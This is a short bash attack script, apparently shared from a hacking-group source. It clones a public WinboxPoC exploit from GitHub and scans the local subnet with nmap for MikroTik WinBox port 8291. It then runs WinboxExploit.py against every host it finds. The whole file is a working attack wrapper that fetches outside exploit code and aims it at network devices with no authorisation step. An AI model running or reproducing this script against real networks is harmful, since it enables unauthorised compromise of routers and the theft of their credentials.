#!/bin/bash
# AutoScan Port [Nmap] + Exploit WinboxPoc
# WinboxPOC : https://github.com/BasuCert/WinboxPoC
# My Github : https://github.com/suhada99
# Coded by sUHada - ZeroByte.ID
echo "__ ___ ____ ____ ___ ____ "
echo "\ \ / (_)_ __ | __ ) _____ _| _ \ / _ \ / ___| "
echo " \ \ /\ / /| | '_ \| _ \ / _ \ \/ / |_) | | | | | "
echo " \ V V / | | | | | |_) | (_) > <| __/| |_| | |___ "
echo " \_/\_/ |_|_| |_|____/ \___/_/\_\_| \___/ \____| "
echo " "
mask2cidr() {
nbits=0
IFS=.
for dec in $1 ; do
case $dec in
255) let nbits+=8;;
254) let nbits+=7;;
252) let nbits+=6;;
248) let nbits+=5;;
240) let nbits+=4;;
224) let nbits+=3;;
192) let nbits+=2;;
128) let nbits+=1;;
0);;
*) echo "Error: $dec is not recognised"; exit 1
esac
done
echo "$nbits"
}
echo " Starting [!]";
echo -ne " Clone Exploit WinboxPoC . . . ";
rm -rf WinboxPoC/
git clone -q https://github.com/BasuCert/WinboxPoC.git
echo " Done [!]";
echo " Starting Exploit (Network Local) [!]";
echo -ne " GET YOUR IP . . . ";
gEtiP=$(hostname -I | awk '{print $1}');
echo "FOUND [!]"
echo " Your IP ${gEtiP} [!]";
gEtNet=$(echo ${gEtiP} | cut -d '.' -f 1-3);
echo " Scanning Port 8291 [WinBox] in network with Nmap";
netmask=$(ifconfig | grep "${gEtiP}" | grep Mask | cut -d":" -f4)
numbits=$(mask2cidr $netmask)
cEkwBox=$(nmap -p 8291 -oG - "${gEtNet}".0/"${numbits}" | awk '/8291\/open/ {print $2}');
if [[ -z $cEkwBox ]]; then
echo " Port 8291 Can't Found!";
else
echo " Found IP ${cEkwBox} Port 8291";
echo " Try it Exploit WinboxPoC . . .";
cd WinboxPoC/ && python WinboxExploit.py ${cEkwBox}
fi
Comments